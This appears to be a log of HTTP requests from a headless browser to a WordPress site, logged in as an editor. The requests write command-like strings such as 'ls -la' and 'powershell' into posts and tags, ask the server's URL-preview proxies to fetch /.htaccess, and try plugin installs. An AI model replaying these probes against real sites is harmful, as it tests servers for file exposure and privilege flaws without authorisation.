{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 18", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 31", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 21", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\"ls -la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 27", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\"ls -la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 17", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\"ls -la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"title\":\".htaccess\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 30", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"excerpt\":\".htaccess\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/tags?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 20", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"name\":\".htaccess\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 29", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"hello-world\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 25", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"python3\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 28", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"powershell\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 23", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"ls-la\"}"}
{"method": "POST", "target": "/wp-json/wp/v2/posts/1?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 26", "X-WP-Nonce: f6c0bd81d0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": "{\"id\":1,\"slug\":\"htaccess\"}"}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fhello-world%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpython3%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fpowershell-basics%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2Fls-la%2F&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/wp-block-editor/v1/url-details?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "GET", "target": "/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: f6c0bd81d0", "Referer: http://blog.example/wp-admin/post.php?post=1&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251850"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 134", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=hello-dolly&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 130", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=python3&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 133", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=powershell&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 136", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=docker-helper&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 131", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/plugin-install.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794251855"], "body": "slug=htaccess&action=install-plugin&_ajax_nonce=61c8a7b528&_fs_nonce=&username=&password=&connection_type=&public_key=&private_key="}
